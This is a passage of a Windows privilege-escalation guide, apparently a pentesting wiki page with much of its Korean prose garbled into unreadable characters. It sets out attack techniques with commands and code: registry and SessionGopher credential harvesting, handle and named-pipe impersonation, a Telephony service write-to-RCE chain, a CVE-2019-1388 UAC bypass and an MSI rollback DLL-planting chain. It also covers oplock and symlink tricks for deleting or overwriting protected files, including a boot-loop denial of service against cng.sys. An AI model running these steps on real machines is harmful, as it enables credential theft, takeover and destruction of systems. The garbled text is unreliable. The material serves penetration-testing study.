REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d
๋น๋ฐ๋ฒํธ๋ฅผ ๊ฒ์ํ๋ ๋๊ตฌ
MSF-Credentials Plugin msf ํ๋ฌ๊ทธ์ธ์
๋๋ค. ์ด ํ๋ฌ๊ทธ์ธ์ ํผํด์ ๋ด๋ถ์์ credentials๋ฅผ ๊ฒ์ํ๋ ๋ชจ๋ metasploit POST module์ ์๋์ผ๋ก ์คํํ๋๋ก ๋ง๋ค์ด์ก์ต๋๋ค.\
Winpeas๋ ์ด ํ์ด์ง์ ์ธ๊ธ๋ ๋น๋ฐ๋ฒํธ๊ฐ ํฌํจ๋ ๋ชจ๋ ํ์ผ์ ์๋์ผ๋ก ๊ฒ์ํฉ๋๋ค.\
Lazagne๋ ์์คํ
์์ ๋น๋ฐ๋ฒํธ๋ฅผ ์ถ์ถํ๋ ๋ ๋ค๋ฅธ ํ๋ฅญํ ๋๊ตฌ์
๋๋ค.
๋๊ตฌ SessionGopher๋ ์ด ๋ฐ์ดํฐ๋ฅผ ํ๋ฌธ์ผ๋ก ์ ์ฅํ๋ ์ฌ๋ฌ ๋๊ตฌ(PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP)์ sessions, usernames ๋ฐ passwords๋ฅผ ๊ฒ์ํฉ๋๋ค.
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
Leaked Handlers
Imagine that a process running as SYSTEM open a new process (OpenProcess()) with full access. The same process also create a new process (CreateProcess()) with low privileges but inheriting all the open handles of the main process.
Then, if you have full access to the low privileged process, you can grab the open handle to the privileged process created with OpenProcess() and inject a shellcode.
Read this example for more information about how to detect and exploit this vulnerability.
Read this other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access).
Named Pipe Client Impersonation
Shared memory segments, referred to as pipes, enable process communication and data transfer.
Windows provides a feature called Named Pipes, allowing unrelated processes to share data, even over different networks. This resembles a client/server architecture, with roles defined as named pipe server and named pipe client.
When data is sent through a pipe by a client, the server that set up the pipe has the ability to take on the identity of the client, assuming it has the necessary SeImpersonate rights. Identifying a privileged process that communicates via a pipe you can mimic provides an opportunity to gain higher privileges by adopting the identity of that process once it interacts with the pipe you established. For instructions on executing such an attack, helpful guides can be found here and here.
Also the following tool allows to intercept a named pipe communication with a tool like burp: https://github.com/gabriel-sztejnworcel/pipe-intercept and this tool allows to list and see all the pipes to find privescs https://github.com/cyberark/PipeViewer
Telephony tapsrv remote DWORD write to RCE
The Telephony service (TapiSrv) in server mode exposes \\pipe\\tapsrv (MS-TRP). A remote authenticated client can abuse the mailslot-based async event path to turn ClientAttach into an arbitrary 4-byte write to any existing file writable by NETWORK SERVICE, then gain Telephony admin rights and load an arbitrary DLL as the service. Full flow:
ClientAttachwithpszDomainUserset to a writable existing path โ the service opens it viaCreateFileW(..., OPEN_EXISTING)and uses it for async event writes.- Each event writes the attacker-controlled
InitContextfromInitializeto that handle. Register a line app withLRegisterRequestRecipient(Req_Func 61), triggerTRequestMakeCall(Req_Func 121), fetch viaGetAsyncEvents(Req_Func 0), then unregister/shutdown to repeat deterministic writes. - Add yourself to
[TapiAdministrators]inC:\Windows\TAPI\tsec.ini, reconnect, then callGetUIDllNamewith an arbitrary DLL path to executeTSPI_providerUIIdentifyasNETWORK SERVICE.
More details:
Telephony Tapsrv Arbitrary Dword Write To Rce
๊ธฐํ
Windows์์ ์คํ๋ ์ ์๋ ํ์ผ ํ์ฅ์
๋ค์ ํ์ด์ง๋ฅผ ํ์ธํ์ธ์ https://filesec.io/
Protocol handler / ShellExecute abuse via Markdown renderers
Clickable Markdown links forwarded to ShellExecuteExW can trigger dangerous URI handlers (file:, ms-appinstaller: or any registered scheme) and execute attacker-controlled files as the current user. See:
Protocol Handler Shell Execute Abuse
๋ช ๋ น์ค์์ ๋น๋ฐ๋ฒํธ ๋ชจ๋ํฐ๋งํ๊ธฐ
์ฌ์ฉ์ ๊ถํ์ผ๋ก ์์ ์ป์ผ๋ฉด ์์ฝ๋ ์์ ์ด๋ ๋ค๋ฅธ ํ๋ก์ธ์ค๋ค์ด ๋ช ๋ น์ค์ ์๊ฒฉ ์ฆ๋ช ์ ์ ๋ฌํ ์ ์์ต๋๋ค. ์๋ ์คํฌ๋ฆฝํธ๋ 2์ด๋ง๋ค ํ๋ก์ธ์ค์ ๋ช ๋ น์ค์ ์บก์ฒํ๊ณ ํ์ฌ ์ํ๋ฅผ ์ด์ ์ํ์ ๋น๊ตํ์ฌ ์ฐจ์ด ์ฌํญ์ ์ถ๋ ฅํฉ๋๋ค.
while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}
Stealing passwords from processes
๋ฎ์ ๊ถํ ์ฌ์ฉ์์์ NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass
๊ทธ๋ํฝ ์ธํฐํ์ด์ค์ ์ ๊ทผํ ์ ์๊ณ (via console ๋๋ RDP๋ฅผ ํตํด) UAC๊ฐ ํ์ฑํ๋ ๊ฒฝ์ฐ, ์ผ๋ถ Microsoft Windows ๋ฒ์ ์์๋ ๊ถํ์ด ์๋ ์ฌ์ฉ์๋ก๋ถํฐ ํฐ๋ฏธ๋์ด๋ โNT\AUTHORITY SYSTEMโ ๊ฐ์ ๋ค๋ฅธ ํ๋ก์ธ์ค๋ฅผ ์คํํ ์ ์์ต๋๋ค.
์ด๋ก ์ธํด ๋์ผํ ์ทจ์ฝ์ ์ ์ด์ฉํด ๊ถํ ์์น๊ณผ UAC ์ฐํ๊ฐ ๋์์ ๊ฐ๋ฅํด์ง๋๋ค. ๋ํ ์๋ฌด๊ฒ๋ ์ค์นํ ํ์๊ฐ ์๊ณ , ๊ณผ์ ์ค ์ฌ์ฉ๋๋ ๋ฐ์ด๋๋ฆฌ๋ Microsoft์์ ์๋ช ๋ฐ ๋ฐ๊ธ๋ ๊ฒ์ ๋๋ค.
์ํฅ์ ๋ฐ๋ ์์คํ ์ ์ผ๋ถ๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
SERVER
======
Windows 2008r2 7601 ** link OPENED AS SYSTEM **
Windows 2012r2 9600 ** link OPENED AS SYSTEM **
Windows 2016 14393 ** link OPENED AS SYSTEM **
Windows 2019 17763 link NOT opened
WORKSTATION
===========
Windows 7 SP1 7601 ** link OPENED AS SYSTEM **
Windows 8 9200 ** link OPENED AS SYSTEM **
Windows 8.1 9600 ** link OPENED AS SYSTEM **
Windows 10 1511 10240 ** link OPENED AS SYSTEM **
Windows 10 1607 14393 ** link OPENED AS SYSTEM **
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
์ด ์ทจ์ฝ์ ์ ์ ์ฉํ๋ ค๋ฉด ๋ค์ ๋จ๊ณ๋ฅผ ์ํํด์ผ ํฉ๋๋ค:
1) Right click on the HHUPD.EXE file and run it as Administrator.
2) When the UAC prompt appears, select "Show more details".
3) Click "Show publisher certificate information".
4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.
5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.
6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.
7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.
8) Remember to cancel setup and the UAC prompt to return to your desktop.
You have all the necessary files and information in the following GitHub repository:
https://github.com/jas502n/CVE-2019-1388
Administrator Medium์์ High Integrity Level์ผ๋ก / UAC Bypass
Integrity Levels์ ๋ํด ๋ฐฐ์ฐ๋ ค๋ฉด ๋ค์์ ์ฝ์ผ์ธ์:
๊ทธ๋ฐ ๋ค์ UAC์ UAC bypasses์ ๋ํด ๋ฐฐ์ฐ๋ ค๋ฉด ๋ค์์ ์ฝ์ผ์ธ์:
Arbitrary Folder Delete/Move/Rename์์ SYSTEM EoP๋ก
์ด ๋ธ๋ก๊ทธ ํฌ์คํธin this blog post์ ์ค๋ช ๋ ๊ธฐ๋ฒ๊ณผ, exploit codeavailable here๊ฐ ์ฌ์ฉ๋ฉ๋๋ค.
๊ณต๊ฒฉ์ ๊ธฐ๋ณธ์ ์ผ๋ก Windows Installer์ rollback ๊ธฐ๋ฅ์ ์
์ฉํด ์ ๋นํ ํ์ผ์ ์ ๊ฑฐ(๋๋ ๊ต์ฒด)ํ๋ ๋์ ์
์ฑ ํ์ผ๋ก ๋ฐ๊พธ๋ ๋ฐฉ์์
๋๋ค. ์ด๋ฅผ ์ํด ๊ณต๊ฒฉ์๋ C:\Config.Msi ํด๋๋ฅผ ํ์ด์ฌํฌํ ์ ์๋ ์
์ฑ MSI ์ธ์คํจ๋ฌ๋ฅผ ๋ง๋ค์ด์ผ ํ๋ฉฐ, ์ดํ ๋ค๋ฅธ MSI ํจํค์ง์ ์ ๊ฑฐ ๊ณผ์ ์์ Windows Installer๊ฐ ๋กค๋ฐฑ ํ์ผ์ ์ ์ฅํ ๋ ๊ทธ ๋กค๋ฐฑ ํ์ผ๋ค์ด ์
์ฑ ํ์ด๋ก๋๋ฅผ ํฌํจํ๋๋ก ์กฐ์๋ฉ๋๋ค.
์์ฝ๋ ๊ธฐ๋ฒ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- Stage 1 โ Hijack ์ค๋น (
C:\Config.Msi๋ฅผ ๋น์๋ )
-
Step 1: MSI ์ค์น
-
์ฐ๊ธฐ ๊ฐ๋ฅํ ํด๋(
TARGETDIR)์ ๋ฌดํดํ ํ์ผ(์:dummy.txt)์ ์ค์นํ๋.msi๋ฅผ ๋ง๋ญ๋๋ค. -
์ค์น ํ๋ก๊ทธ๋จ์ **โUAC Compliantโ**๋ก ํ์ํ์ฌ ๋น๊ด๋ฆฌ์ ์ฌ์ฉ์๋ ์คํํ ์ ์๊ฒ ํฉ๋๋ค.
-
์ค์น ํ ํ์ผ์ ๋ํ handle์ ์ด์ด ๋ก๋๋ค.
-
Step 2: ์ ๊ฑฐ ์์
-
๋์ผํ
.msi๋ฅผ ์ ๊ฑฐํฉ๋๋ค. -
์ ๊ฑฐ ๊ณผ์ ์์ ํ์ผ๋ค์ด
C:\Config.Msi๋ก ์ด๋๋๊ณ.rbfํ์ผ๋ก ์ด๋ฆ์ด ๋ณ๊ฒฝ๋ฉ๋๋ค(๋กค๋ฐฑ ๋ฐฑ์ ). -
ํ์ผ์ด
C:\Config.Msi\<random>.rbf๊ฐ ๋ ๋๋ฅผ ๊ฐ์งํ๊ธฐ ์ํดGetFinalPathNameByHandle๋ก ์ด๋ ค ์๋ ํ์ผ ํธ๋ค์ ํด๋งํฉ๋๋ค. -
Step 3: ์ฌ์ฉ์ ๋๊ธฐํ
-
.msi์๋ ๋ค์๊ณผ ๊ฐ์ **์ฌ์ฉ์ ์ ์ ์ธ์ธ์คํจ ์ก์ (SyncOnRbfWritten)**์ด ํฌํจ๋์ด ์์ด: -
.rbf๊ฐ ์์์ก์ ๋ ์ ํธ๋ฅผ ๋ณด๋ ๋๋ค. -
์ดํ ์ ๊ฑฐ๊ฐ ๊ณ์๋๊ธฐ ์ ์ ๋ค๋ฅธ ์ด๋ฒคํธ๋ฅผ ๋๊ธฐํฉ๋๋ค.
-
Step 4:
.rbf์ญ์ ์ฐจ๋จ -
์ ํธ๊ฐ ์ค๋ฉด
FILE_SHARE_DELETE์์ด.rbfํ์ผ์ ์คํํ์ฌ โ ์ด๊ฒ์ด.rbf๊ฐ ์ญ์ ๋๋ ๊ฒ์ ๋ฐฉ์งํฉ๋๋ค. -
๊ทธ๋ฐ ๋ค์ ์ ๊ฑฐ๊ฐ ์๋ฃ๋๋๋ก ๋ค์ ์ ํธ๋ฅผ ๋ณด๋ ๋๋ค.
-
Windows Installer๋
.rbf๋ฅผ ์ญ์ ํ์ง ๋ชปํ๊ณ , ๋ชจ๋ ๋ด์ฉ์ ์ญ์ ํ ์ ์์ผ๋ฏ๋กC:\Config.Msi๊ฐ ์ ๊ฑฐ๋์ง ์์ต๋๋ค. -
Step 5:
.rbf๋ฅผ ์๋์ผ๋ก ์ญ์ -
๊ณต๊ฒฉ์๋
.rbfํ์ผ์ ์๋์ผ๋ก ์ญ์ ํฉ๋๋ค. -
์ด์
C:\Config.Msi๊ฐ ๋น์์ ธ ํ์ด์ฌํฌํ ์ค๋น๊ฐ ๋ฉ๋๋ค.
์ด ์์ ์์,
C:\Config.Msi๋ฅผ ์ญ์ ํ๊ธฐ ์ํด SYSTEM ๊ถํ ์์ค์ ์์ ํด๋ ์ญ์ ์ทจ์ฝ์ ์ ํธ๋ฆฌ๊ฑฐํ์ธ์.
- Stage 2 โ ๋กค๋ฐฑ ์คํฌ๋ฆฝํธ๋ฅผ ์ ์ฑ์ผ๋ก ๊ต์ฒด
-
Step 6: ์ฝํ ACL๋ก
C:\Config.Msi์ฌ์์ฑ -
์ง์
C:\Config.Msiํด๋๋ฅผ ๋ค์ ๋ง๋ญ๋๋ค. -
์ฝํ DACL(์: Everyone:F)์ ์ค์ ํ๊ณ
WRITE_DAC๊ถํ์ผ๋ก ํธ๋ค์ ์ด์ด ๋ก๋๋ค. -
Step 7: ๋ค๋ฅธ ์ค์น ์คํ
-
๋ค์
.msi๋ฅผ ์ค์นํฉ๋๋ค. ์ด๋: -
TARGETDIR: ์ฐ๊ธฐ ๊ฐ๋ฅํ ์์น. -
ERROROUT: ๊ฐ์ ์คํจ๋ฅผ ์ ๋ฐํ๋ ๋ณ์. -
์ด ์ค์น๋ ๋กค๋ฐฑ์ ๋ค์ ํธ๋ฆฌ๊ฑฐํ๋ ๋ฐ ์ฌ์ฉ๋๋ฉฐ, ๋กค๋ฐฑ์
.rbs์.rbf๋ฅผ ์ฝ์ต๋๋ค. -
Step 8:
.rbs๊ฐ์ -
ReadDirectoryChangesW๋กC:\Config.Msi๋ฅผ ๋ชจ๋ํฐ๋งํ์ฌ ์.rbs๊ฐ ๋ํ๋ ๋๊น์ง ๋๊ธฐํฉ๋๋ค. -
ํ์ผ ์ด๋ฆ์ ์บก์ฒํฉ๋๋ค.
-
Step 9: ๋กค๋ฐฑ ์ ์ ๋๊ธฐํ
-
.msi์๋ **์ฌ์ฉ์ ์ ์ ์ค์น ์ก์ (SyncBeforeRollback)**์ด ํฌํจ๋์ด ์์ด: -
.rbs๊ฐ ์์ฑ๋๋ฉด ์ด๋ฒคํธ๋ฅผ ์ ํธ๋ก ๋ณด๋ ๋๋ค. -
๊ทธ ํ ๊ณ์ ์งํํ๊ธฐ ์ ์ ๋๊ธฐํฉ๋๋ค.
-
Step 10: ์ฝํ ACL ์ฌ์ ์ฉ
-
.rbs created์ด๋ฒคํธ๋ฅผ ๋ฐ์ผ๋ฉด: -
Windows Installer๋
C:\Config.Msi์ ๊ฐํ ACL์ ์ฌ์ ์ฉํฉ๋๋ค. -
ํ์ง๋ง ๋น์ ์ด
WRITE_DAC๋ก ํธ๋ค์ ์ฌ์ ํ ๊ฐ์ง๊ณ ์์ผ๋ฏ๋ก, ๋ค์ ์ฝํ ACL์ ์ฌ์ ์ฉํ ์ ์์ต๋๋ค.
ACL์ ํธ๋ค ์คํ ์์ ์๋ง ์ ์ฉ๋๋ฏ๋ก ์ฌ์ ํ ํด๋์ ์ธ ์ ์์ต๋๋ค.
-
Step 11: ๊ฐ์ง
.rbs์.rbf๋ฐฐ์น -
.rbsํ์ผ์ ๋ฎ์ด์จ์ Windows๊ฐ ๋ค์์ ํ๋๋ก ์ง์ํ๋ ๊ฐ์ง ๋กค๋ฐฑ ์คํฌ๋ฆฝํธ๋ฅผ ๋ง๋ญ๋๋ค: -
๋น์ ์
.rbf(์ ์ฑ DLL)๋ฅผ ๊ถํ ์๋ ์์น(์:C:\Program Files\Common Files\microsoft shared\ink\HID.DLL)๋ก ๋ณต์ํ๋๋ก ์ง์. -
SYSTEM ์์ค ํ์ด๋ก๋ DLL์ ํฌํจํ๋ ๊ฐ์ง
.rbf๋ฅผ ๋ด๋ ค๋์ต๋๋ค. -
Step 12: ๋กค๋ฐฑ ํธ๋ฆฌ๊ฑฐ
-
๋๊ธฐํ ์ด๋ฒคํธ๋ฅผ ์ ํธํ์ฌ ์ค์น๊ฐ ์ฌ๊ฐ๋๋๋ก ํฉ๋๋ค.
-
์๋ ค์ง ์ง์ ์์ ์ค์น๋ฅผ ์๋์ ์ผ๋ก ์คํจ์ํค๊ธฐ ์ํด type 19 ์ฌ์ฉ์ ์ ์ ์ก์ (
ErrorOut)์ด ๊ตฌ์ฑ๋์ด ์์ต๋๋ค. -
์ด๋ก ์ธํด ๋กค๋ฐฑ์ด ์์๋ฉ๋๋ค.
-
Step 13: SYSTEM์ด ๋น์ ์ DLL์ ์ค์น
-
Windows Installer๋:
-
๋น์ ์ ์ ์ฑ
.rbs๋ฅผ ์ฝ๊ณ , -
๋์ ์์น์ ๋น์ ์
.rbfDLL์ ๋ณต์ฌํฉ๋๋ค. -
์ด์ SYSTEM์ด ๋ก๋ํ๋ ๊ฒฝ๋ก์ ์ ์ฑ DLL์ด ๋์ ๋๋ค.
-
๋ง์ง๋ง ๋จ๊ณ: SYSTEM ์ฝ๋ ์คํ
-
DLL์ ๋ก๋ํ๋ ์ ๋ขฐํ ์ ์๋ auto-elevated ๋ฐ์ด๋๋ฆฌ(์:
osk.exe)๋ฅผ ์คํํฉ๋๋ค. -
Boom: ๋น์ ์ ์ฝ๋๊ฐ SYSTEM์ผ๋ก ์คํ๋ฉ๋๋ค.
Arbitrary File Delete/Move/Rename์์ SYSTEM EoP๋ก
์ฃผ์ MSI ๋กค๋ฐฑ ๊ธฐ๋ฒ(์)์ ์ ์ฒด ํด๋(์: C:\Config.Msi)๋ฅผ ์ญ์ ํ ์ ์๋ค๊ณ ๊ฐ์ ํฉ๋๋ค. ํ์ง๋ง ์ทจ์ฝ์ ์ด ์์์ ํ์ผ ์ญ์ ๋ง ํ์ฉํ๋ค๋ฉด ์ด๋ป๊ฒ ํ ๊น์?
NTFS ๋ด๋ถ๋ฅผ ์ ์ฉํ ์ ์์ต๋๋ค: ๋ชจ๋ ํด๋๋ ๋ค์๊ณผ ๊ฐ์ ์จ๊ฒจ์ง ๋์ฒด ๋ฐ์ดํฐ ์คํธ๋ฆผ์ ๊ฐ์ง๊ณ ์์ต๋๋ค:
C:\SomeFolder::$INDEX_ALLOCATION
์ด ์คํธ๋ฆผ์ ํด๋์ ์ธ๋ฑ์ค ๋ฉํ๋ฐ์ดํฐ๋ฅผ ์ ์ฅํฉ๋๋ค.
๋ฐ๋ผ์ ํด๋์ ::$INDEX_ALLOCATION ์คํธ๋ฆผ์ ์ญ์ ํ๋ฉด, NTFS๋ ํ์ผ ์์คํ
์์ ํด๋ ์ ์ฒด๋ฅผ ์ ๊ฑฐํฉ๋๋ค.
์ด๋ ๋ค์๊ณผ ๊ฐ์ ํ์ค ํ์ผ ์ญ์ API๋ฅผ ์ฌ์ฉํ์ฌ ์ํํ ์ ์์ต๋๋ค:
DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");
file delete API๋ฅผ ํธ์ถํ๋๋ผ๋, ํด๋ ์์ฒด๋ฅผ ์ญ์ ํ๋ค.
ํด๋ ๋ด์ฉ ์ญ์ ์์ SYSTEM EoP๋ก
๋ง์ฝ ๋น์ ์ primitive๊ฐ ์์์ ํ์ผ/ํด๋๋ฅผ ์ญ์ ํ ์ ์์ง๋ง, ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ํด๋์ ๋ด์ฉ์ ์ญ์ ํ ์ ์๋ค๋ฉด?
- Step 1: ๋ฏธ๋ผ ํด๋์ ํ์ผ ์ค์
- ์์ฑ:
C:\temp\folder1 - ๊ทธ ์์:
C:\temp\folder1\file1.txt
- Step 2:
file1.txt์ oplock์ ์ค์
- ํด๋น oplock์ ํน๊ถ ํ๋ก์ธ์ค๊ฐ
file1.txt๋ฅผ ์ญ์ ํ๋ ค๊ณ ํ ๋ ์คํ์ ์ผ์ ์ค๋จํ๋ค.
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
- Step 3: SYSTEM ํ๋ก์ธ์ค ํธ๋ฆฌ๊ฑฐ (e.g.,
SilentCleanup)
- ์ด ํ๋ก์ธ์ค๋ ํด๋(์:
%TEMP%)๋ฅผ ์ค์บํ๊ณ ๊ทธ ๋ด์ฉ๋ฌผ์ ์ญ์ ํ๋ ค๊ณ ์๋ํฉ๋๋ค. file1.txt์ ๋๋ฌํ๋ฉด oplock triggers๊ฐ ๋ฐ์ํ๋ฉฐ ์ ์ด๊ฐ ์ฝ๋ฐฑ์ผ๋ก ๋์ด๊ฐ๋๋ค.
- Step 4: oplock ์ฝ๋ฐฑ ๋ด๋ถ โ ์ญ์ ๋ฆฌ๋๋ ์
-
Option A:
file1.txt๋ฅผ ๋ค๋ฅธ ๊ณณ์ผ๋ก ์ด๋ -
์ด๊ฒ์
folder1์ ๋น์ฐ์ง๋ง oplock์ ๊นจ๋จ๋ฆฌ์ง๋ ์์ต๋๋ค. -
file1.txt๋ฅผ ์ง์ ์ญ์ ํ์ง ๋ง์ธ์ โ ๊ทธ๋ฌ๋ฉด oplock์ด ์กฐ๊ธฐ์ ํด์ ๋ฉ๋๋ค. -
Option B:
folder1์ junction์ผ๋ก ๋ณํ:
# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
- ์ต์
C:
\RPC Control์ symlink๋ฅผ ์์ฑ:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")
์ด๊ฒ์ ํด๋ ๋ฉํ๋ฐ์ดํฐ๋ฅผ ์ ์ฅํ๋ NTFS ๋ด๋ถ ์คํธ๋ฆผ์ ๋์์ผ๋ก ํฉ๋๋ค โ ์ด๋ฅผ ์ญ์ ํ๋ฉด ํด๋๊ฐ ์ญ์ ๋ฉ๋๋ค.
- 5๋จ๊ณ: oplock ํด์
- SYSTEM ํ๋ก์ธ์ค๋ ๊ณ์ ์คํ๋๋ฉฐ
file1.txt๋ฅผ ์ญ์ ํ๋ ค๊ณ ์๋ํฉ๋๋ค. - ํ์ง๋ง ์ด์ junction + symlink ๋๋ฌธ์ ์ค์ ๋ก ์ญ์ ๋๋ ๊ฒ์:
C:\Config.Msi::$INDEX_ALLOCATION
๊ฒฐ๊ณผ: C:\Config.Msi๊ฐ SYSTEM์ ์ํด ์ญ์ ๋ฉ๋๋ค.
Arbitrary Folder Create์์ Permanent DoS๊น์ง
primitive๋ฅผ ์ ์ฉํ๋ฉด SYSTEM/admin์ผ๋ก ์์์ folder๋ฅผ ์์ฑํ ์ ์์ต๋๋ค โ ํ์ผ์ ์ธ ์ ์๋๋ผ๋ ๋๋ ์ฝํ ๊ถํ์ ์ค์ ํ ์ ์๋๋ผ๋.
์: critical Windows driver์ ์ด๋ฆ์ผ๋ก folder(ํ์ผ์ด ์๋๋ผ)๋ฅผ ์์ฑํ์ธ์:
C:\Windows\System32\cng.sys
- ์ด ๊ฒฝ๋ก๋ ์ผ๋ฐ์ ์ผ๋ก
cng.sys์ปค๋ ๋ชจ๋ ๋๋ผ์ด๋ฒ์ ํด๋นํฉ๋๋ค. - ๋ง์ฝ ํด๋น ๊ฒฝ๋ก๋ฅผ ํด๋๋ก ๋ฏธ๋ฆฌ ์์ฑํ๋ฉด, Windows๋ ๋ถํ ์ ์ค์ ๋๋ผ์ด๋ฒ๋ฅผ ๋ก๋ํ์ง ๋ชปํฉ๋๋ค.
- ๊ทธ๋ฐ ๋ค์, Windows๋ ๋ถํ
์ค์
cng.sys๋ฅผ ๋ก๋ํ๋ ค ์๋ํฉ๋๋ค. - ํด๋๋ฅผ ํ์ธํ๋ฉด, ์ค์ ๋๋ผ์ด๋ฒ๋ฅผ ์ฐพ์ง ๋ชปํด, ์ถฉ๋ํ๊ฑฐ๋ ๋ถํ ์ด ์ค๋จ๋ฉ๋๋ค.
- ์ธ๋ถ ๊ฐ์ (์: ๋ถํ ๋ณต๊ตฌ ๋๋ ๋์คํฌ ์ ๊ทผ) ์์ด๋ ๋์ฒด ์๋จ์ด ์๊ณ , ๋ณต๊ตฌ๊ฐ ๋ถ๊ฐ๋ฅํฉ๋๋ค.
๊ถํ ์๋ ๋ก๊ทธ/๋ฐฑ์ ๊ฒฝ๋ก + OM symlinks์์ arbitrary file overwrite / boot DoS๋ก
๊ถํ ์๋ ์๋น์ค(privileged service)๊ฐ ๊ฒฝ๋ก๋ฅผ ์ฝ์ด ์ค๋ **์ฐ๊ธฐ ๊ฐ๋ฅํ ์ค์ (writable config)**์ ๋ก๊ทธ/๋ด๋ณด๋ด๊ธฐ(export)๋ฅผ ์ธ ๋, ๊ทธ ๊ฒฝ๋ก๋ฅผ Object Manager symlinks + NTFS mount points๋ก ๋ฆฌ๋๋ ์ ํ์ฌ ๊ถํ ์๋ ์ฐ๊ธฐ๋ฅผ ์์ ๋ฎ์ด์ฐ๊ธฐ(arbitrary overwrite)๋ก ๋ง๋ค ์ ์์ต๋๋ค(์ฌ์ง์ด SeCreateSymbolicLinkPrivilege ์์ด๋).
Requirements
- ๋์ ๊ฒฝ๋ก๋ฅผ ์ ์ฅํ๋ ์ค์ ํ์ผ์ด ๊ณต๊ฒฉ์์ ์ํด ์ฐ๊ธฐ ๊ฐ๋ฅํด์ผ ํฉ๋๋ค(์:
%ProgramData%\...\.ini). \RPC Control์ ๋ง์ดํธ ํฌ์ธํธ๋ฅผ ์์ฑํ๊ณ OM ํ์ผ symlink๋ฅผ ๋ง๋ค ์ ์๋ ๋ฅ๋ ฅ(James Forshaw symboliclink-testing-tools).- ํด๋น ๊ฒฝ๋ก์ ์ฐ๋ ๊ถํ ์๋ ์์ (๋ก๊ทธ, export, report).
Example chain
- ์ค์ ์ ์ฝ์ด ๊ถํ ์๋ ๋ก๊ทธ ๋์ ๋ณต๊ตฌ, ์:
SMSLogFile=C:\users\iconics_user\AppData\Local\Temp\logs\log.txtinC:\ProgramData\ICONICS\IcoSetup64.ini. - ๊ด๋ฆฌ์ ๊ถํ ์์ด ๊ฒฝ๋ก๋ฅผ ๋ฆฌ๋๋ ํธ:
mkdir C:\users\iconics_user\AppData\Local\Temp\logs
CreateMountPoint C:\users\iconics_user\AppData\Local\Temp\logs \RPC Control
CreateSymlink "\\RPC Control\\log.txt" "\\??\\C:\\Windows\\System32\\cng.sys"
- ๊ถํ์ด ์๋ ๊ตฌ์ฑ์์๊ฐ ๋ก๊ทธ๋ฅผ ์ฐ๊ธฐ๋ฅผ ๊ธฐ๋ค๋ฆฝ๋๋ค(์: ๊ด๋ฆฌ์๊ฐ โsend test SMSโ๋ฅผ ํธ๋ฆฌ๊ฑฐ). ์ฐ๊ธฐ๋ ์ด์
C:\Windows\System32\cng.sys์ ๊ธฐ๋ก๋ฉ๋๋ค. - ๋ฎ์ด์ด ๋์( hex/PE parser)์ ๊ฒ์ฌํ์ฌ ์์ ์ฌ๋ถ๋ฅผ ํ์ธํฉ๋๋ค; ์ฌ๋ถํ ํ๋ฉด Windows๊ฐ ๋ณ์กฐ๋ ๋๋ผ์ด๋ฒ ๊ฒฝ๋ก๋ฅผ ๋ก๋ํ๋๋ก ๊ฐ์ ๋์ด โ boot loop DoS. ์ด๋ ํน๊ถ ์๋น์ค๊ฐ ์ฐ๊ธฐ ์ํด ์ด์ด๋ณด๋ ๋ชจ๋ ๋ณดํธ๋ ํ์ผ๋ก ์ผ๋ฐํ๋ฉ๋๋ค.
cng.sys๋ ๋ณดํตC:\Windows\System32\drivers\cng.sys์์ ๋ก๋๋์ง๋ง,C:\Windows\System32\cng.sys์ ๋ณต์ฌ๋ณธ์ด ์กด์ฌํ๋ฉด ๋จผ์ ์๋๋ ์ ์์ด ์์๋ ๋ฐ์ดํฐ์ ๋ํด ์ ๋ขฐํ ์ ์๋ DoS sink๊ฐ ๋ฉ๋๋ค.
High Integrity์์ SYSTEM์ผ๋ก
์ ์๋น์ค
์ด๋ฏธ High Integrity ํ๋ก์ธ์ค์์ ์คํ ์ค์ด๋ผ๋ฉด, SYSTEM์ผ๋ก ๊ฐ๋ ๊ฒฝ๋ก๋ ๋จ์ํ ์ ์๋น์ค๋ฅผ ์์ฑํ๊ณ ์คํํ๋ ๊ฒ๋ง์ผ๋ก๋ ์ฌ์ธ ์ ์์ต๋๋ค:
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
Tip
์๋น์ค ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ง๋ค ๋, ์ ํจํ ์๋น์ค์ธ์ง ๋๋ ๋ฐ์ด๋๋ฆฌ๊ฐ ํ์ํ ์์ ์ ๋น ๋ฅด๊ฒ ์ํํ๋์ง ํ์ธํ์ธ์. ์ ํจํ ์๋น์ค๊ฐ ์๋๋ฉด 20์ด ๋ด์ ์ข ๋ฃ๋ฉ๋๋ค.
AlwaysInstallElevated
From a High Integrity process you could try to enable the AlwaysInstallElevated registry entries and install a reverse shell using a .msi wrapper.
More information about the registry keys involved and how to install a .msi package here.
High + SeImpersonate privilege to System
์ฝ๋๋ฅผ ํ์ธํ ์ ์์ต๋๋ค find the code here.
From SeDebug + SeImpersonate to Full Token privileges
